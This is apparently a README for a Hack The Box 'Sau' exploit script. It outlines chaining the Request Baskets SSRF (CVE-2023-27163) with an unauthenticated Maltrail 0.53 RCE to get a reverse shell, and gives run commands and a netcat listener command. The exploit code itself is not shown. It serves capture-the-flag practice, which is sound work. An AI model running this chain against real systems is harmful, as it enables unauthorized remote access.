HTB Sau Exploit Chain — CVE-2023-27163 (SSRF) + Maltrail RCE Automation

A Python exploit script that chains CVE-2023-27163 (Server-Side Request Forgery in Request Baskets ≤ 1.2.1) with an unauthenticated Remote Code Execution vulnerability in Maltrail 0.53, delivering a reverse shell. Designed for the Hack The Box Sau machine.

📌 Overview

This script automates the exploitation path required to gain initial access on the target by:

1. Exploiting CVE-2023-27163 to obtain a usable bucket endpoint
2. Leveraging the exposed service to interact with Maltrail
3. Triggering an unauthenticated RCE in Maltrail
4. Delivering a reverse shell to the attacker machine

⚙️ Usage

python3 exploit.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>

Example:

python3 exploit.py http://10.10.11.224 10.10.14.6 4444

🎧 Netcat Listener (Important)

Before running the exploit, start a listener on your machine to catch the reverse shell:

nc -lvnp <LISTENER_PORT>

Example:

nc -lvnp 4444

🧩 Parameters

🚀 Exploit Flow

• Normalize target URL
• Trigger CVE-2023-27163 to create/access a request basket
• Extract the accessible endpoint (bucket_url)
• Use the bucket to interact with Maltrail
• Execute payload to spawn reverse shell

⚠️ Notes

• Ensure your listener is running before executing the script
• Remove trailing / from the target URL (handled automatically in script)
• Designed specifically for the HTB Sau machine — may not generalize

📚 References

• CVE-2023-27163 (Request Baskets)
• Maltrail Unauthenticated RCE

🛑 Disclaimer

This project is intended for educational purposes and use in authorized environments such as Hack The Box. Do not use against systems without proper permission.